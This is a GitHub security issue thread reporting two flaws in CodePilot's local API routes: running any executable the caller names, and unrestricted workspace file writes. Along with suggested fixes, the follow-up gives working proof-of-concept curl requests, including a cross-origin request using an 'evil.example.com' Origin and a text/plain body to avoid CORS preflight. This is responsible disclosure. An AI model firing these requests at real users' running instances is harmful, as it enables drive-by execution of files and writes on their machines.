Security: two caller-controlled path/binary issues in local API routes (CWE-78, CWE-22)

[coggiyadmin]

(Apologies — this issue was opened accidentally with a placeholder title while I was checking permissions, and I've replaced it with the actual report rather than leave noise behind.)

Hi — thanks for CodePilot. While running a static-analysis benchmark over public repositories I found two issues in the local API routes. Verified on main at ff9dc31.

Both are local-bound: the Next.js server listens on localhost, so the realistic attacker is another process on the machine, or a web page in the browser if any route is reachable cross-origin. I don't want to overstate the severity — flagging them because both are straightforward to tighten, and because you've already built the right helpers in this repo.

说明： 两个问题都出在本地 API 路由上：一个是调用方可以指定任意可执行文件路径，另一个是工作区路径没有做目录限制。仓库里已经有 isPathSafe / assertRealPathInBase 这两个工具函数，只是这两条路由还没用上。

Context: the fix pattern already exists here

src/app/api/files/open/route.ts was recently hardened — it now uses spawn(command, args, { shell: false }) plus isPathSafe(baseDir, requestedPath) and assertRealPathInBase(...) from src/lib/files.ts, with symlink detection. That is exactly the right shape.

The two routes below predate that work and don't yet use those helpers.

---

1. POST /api/cli-tools/custom — caller chooses which binary is executed (CWE-78)

src/app/api/cli-tools/custom/route.ts:

const { binPath, name } = body as { binPath?: string; name?: string };
if (!binPath || typeof binPath !== 'string') { ...400... }
if (!path.isAbsolute(binPath)) { ...400... }          // :35
await access(binPath, constants.X_OK);                 // :41
const { stdout, stderr } = await execFileAsync(binPath, ['--version'], { ... });   // :49

The checks are "is it an absolute path" and "is it executable" — not "is it a CLI tool the app should be running". Any executable on the filesystem can be named and will be run.

To be fair to the design: execFileAsync with an argv array means there is no shell, so this is not command injection — an attacker cannot inject metacharacters or chain commands. The exposure is that they choose the executable, and it runs with the server's privileges.

Suggested fix: resolve the real path and require it to sit within an expected location (a configured tools directory, or a known-good install prefix), or match the basename against an allowlist of supported tools. assertRealPathInBase already does the containment half.

---

2. PUT /api/settings/workspace — workspace path is unconstrained (CWE-22)

src/app/api/settings/workspace/route.ts:

const { path: workspacePath, initialize, ... } = body as { path: string; ... };
if (!workspacePath || typeof workspacePath !== 'string') { ...400... }   // :173
...
fs.mkdirSync(workspacePath, { recursive: true });                        // :221
...
setSetting(ASSISTANT_WORKSPACE_PATH_SETTING, workspacePath);             // :271

The only validation is non-empty-string. With initialize: true, mkdirSync(..., { recursive: true }) will create a directory tree at any location the process can write.

The stored value is then used as a base for later writes, e.g. :313/:319:

const soulPath = path.join(workspacePath, variant);   // variant ∈ soul.md / Soul.md / SOUL.md
...
fs.writeFileSync(soulPath, cleaned.trimEnd() + '\n', 'utf-8');

So a caller-supplied path becomes a persistent base for directory creation and file writes. Neither isPathSafe nor assertRealPathInBase is used in this file.

Suggested fix: constrain the workspace root to a permitted base (home directory, or a configured projects root), reject paths that escape it after path.resolve + realpath, and apply the same check on read/write paths derived from the stored setting. This is the same treatment files/open already received.

---

Note on scope

I'm aware the app is intentionally local-first and that src/app/api/files/browse/route.ts carries a comment noting there's no restriction because the user chooses where to work. That's a legitimate product decision. The reason I'd still tighten these two: mkdirSync/writeFileSync and "execute this binary" are stronger primitives than directory browsing, and any route reachable from a browser page turns a local-only assumption into a remote one. Your call entirely.

Reproduced locally from a fresh clone; nothing was tested against anyone's running instance.

[github-actions]

感谢反馈！这个 issue 似乎缺少必要的复现信息，已标记 needs-repro。

请用 issue 模板、在最新版 v0.56.2+ 上补齐：版本号、操作系统、Runtime、Provider / 模型、复现步骤、日志 / session id（请脱敏，不要包含 API key）。

直接在本 issue 下回复补充即可 —— 补全后会自动取消 needs-repro 标记、进入正常排队；长期无回应会按 stale 流程提醒、最终关闭（关闭后随时可重新打开）。

[github-actions]

这个 issue 因为缺少复现信息 / 等待确认，已经 14 天没有更新。

如果问题仍然存在，请在最新版本（v0.56.2 及以上）上补充：版本号、操作系统、运行时 / 服务商、复现步骤或日志。

再过 14 天若仍无回应，会自动关闭——这不是否认问题，关闭后随时可以用新信息重新打开。

[coggiyadmin]

Following up with the details the bot asked for. Both issues still reproduce on the current release, and reproducing them corrected one thing I got wrong in the original report — the exposure is wider than I described, so I'd rather say so explicitly.

补充复现信息： 版本 v0.67.6，macOS 26.6.2 (arm64)，Node v25.9.0，npm run dev。两个问题都仍然存在，行号未变。另外更正原报告的一处错误：next dev 默认监听 0.0.0.0，不是仅 localhost；并且 /api/cli-tools/custom 接受 Content-Type: text/plain，因此浏览器不会发预检请求，恶意网页可以跨站触发它。

Environment

Version	v0.67.6 (tag), commit 827e580
OS	macOS 26.6.2 (25G83), arm64
Runtime	Node v25.9.0, npm 11.12.1
Next.js	16.2.1
How run	fresh clone → npm install → npm run dev (my own machine, nothing tested against anyone else's instance)

Both routes are unchanged since my original report — same code, same line numbers, and neither file references isPathSafe, assertRealPathInBase, realpath or resolve:

$ grep -cE 'isPathSafe|assertRealPathInBase|realpath|resolve' \
    src/app/api/cli-tools/custom/route.ts src/app/api/settings/workspace/route.ts
0
0

---

Repro 1 — POST /api/cli-tools/custom executes any executable you name (CWE-78)

A stand-in "tool" that is obviously not a CLI tool:

$ cat /tmp/proof/notatool.sh
#!/bin/sh
echo "pwned-marker 9.9.9"
printf 'executed at %s by uid %s\n' "$(date -u +%FT%TZ)" "$(id -u)" > /tmp/codepilot-cwe78-proof.txt
$ chmod +x /tmp/proof/notatool.sh

$ curl -s -X POST http://127.0.0.1:3000/api/cli-tools/custom \
    -H 'Content-Type: application/json' \
    -d '{"name":"notatool","binPath":"/tmp/proof/notatool.sh"}'

{"tool":{"id":"custom-notatool.sh","name":"notatool","binPath":"/tmp/proof/notatool.sh",
 "binName":"notatool.sh","version":"9.9.9","installMethod":"unknown","enabled":true, ...}}
HTTP 200

$ cat /tmp/codepilot-cwe78-proof.txt
executed at 2026-08-24T19:09:37Z by uid 501

The "version":"9.9.9" in the response is parsed out of my script's stdout, so the response itself confirms the binary ran. The route has no auth, CSRF, or Origin check of any kind (grep -cE 'getServerSession|auth|token|csrf|Origin' → 0).

The part I got wrong, and it matters

My original report said the realistic attacker is "another process on the machine". Two things I hadn't checked make that too narrow:

a) npm run dev binds all interfaces. The dev script is plain next dev with no -H, so Next's default 0.0.0.0 applies:

$ lsof -nP -iTCP:3000 -sTCP:LISTEN
node ... TCP *:3000 (LISTEN)
$ curl -s -o /dev/null -w '%{http_code}\n' http://192.168.4.46:3000/api/settings/workspace
200

Anyone on the same Wi-Fi can reach these routes.

b) The route accepts Content-Type: text/plain, so there is no preflight. That makes it a CORS-simple request, which a browser will send cross-origin without asking permission first:

$ curl -s -X POST http://127.0.0.1:3000/api/cli-tools/custom \
    -H 'Content-Type: text/plain;charset=UTF-8' \
    -H 'Origin: https://evil.example.com' \
    -d '{"name":"csrfprobe","binPath":"/tmp/proof/notatool.sh"}'
HTTP 200
$ cat /tmp/codepilot-cwe78-proof.txt
executed at 2026-08-24T19:10:29Z by uid 501

Foreign Origin, no preflight, still executed. A page the user merely visits can fire this at localhost:3000 — CORS stops it reading the response, but the side effect has already happened, and that is all this endpoint needs to do something.

To be clear about the ceiling: the attacker picks which already-executable file runs, and argv is fixed at ['--version'] — this is not argument or shell injection, and I did not demonstrate planting a new executable and chmod-ing it. So "run any existing +x file on the box with one fixed flag, from a web page" is the honest description. That is still worth closing.

Suggested fix (unchanged): resolve the real path and require containment in a configured tools directory or known install prefix, or allowlist the basename. assertRealPathInBase already does the containment half. Rejecting non-JSON content types would separately kill the cross-origin path.

---

Repro 2 — PUT /api/settings/workspace writes anywhere (CWE-22)

$ curl -s -X PUT http://127.0.0.1:3000/api/settings/workspace \
    -H 'Content-Type: application/json' \
    -d '{"path":"/tmp/codepilot-cwe22-proof/deeply/nested/tree","initialize":true}'

{"success":true,"createdFiles":[
  "/tmp/codepilot-cwe22-proof/deeply/nested/tree/instructions.md",
  "/tmp/codepilot-cwe22-proof/deeply/nested/tree/soul.md",
  "/tmp/codepilot-cwe22-proof/deeply/nested/tree/user.md",
  "/tmp/codepilot-cwe22-proof/deeply/nested/tree/memory.md",
  "/tmp/codepilot-cwe22-proof/deeply/nested/tree/CLAUDE.md",
  "/tmp/codepilot-cwe22-proof/deeply/nested/tree/AGENTS.md",
  "/tmp/codepilot-cwe22-proof/deeply/nested/tree/HEARTBEAT.md"], ...}
HTTP 200

$ ls -d /tmp/codepilot-cwe22-proof/deeply/nested/tree
/tmp/codepilot-cwe22-proof/deeply/nested/tree
$ curl -s http://127.0.0.1:3000/api/settings/workspace
{"path":"/tmp/codepilot-cwe22-proof/deeply/nested/tree","valid":true,"exists":true, ...}

This is a bit worse than I described originally: it is not only mkdirSync, it also writes seven files at the chosen location and persists the path as the active workspace, which then serves as the base for later writes.

Narrower than issue 1 in one respect: PUT is not a CORS-simple method, so a browser preflights it, and the preflight returns 204 with no Access-Control-Allow-Origin — a cross-origin page is blocked. So this one is local-process (or same-LAN, per the bind above), not drive-by.

Suggested fix (unchanged): constrain the workspace root to a permitted base, reject paths that escape it after path.resolve + realpath, and apply the same check to paths derived from the stored setting.

---

I've cleaned up every artifact created above. Happy to re-check against a specific commit if you'd rather, and happy to move this to a private channel if you'd prefer it not sit in a public issue — just say where.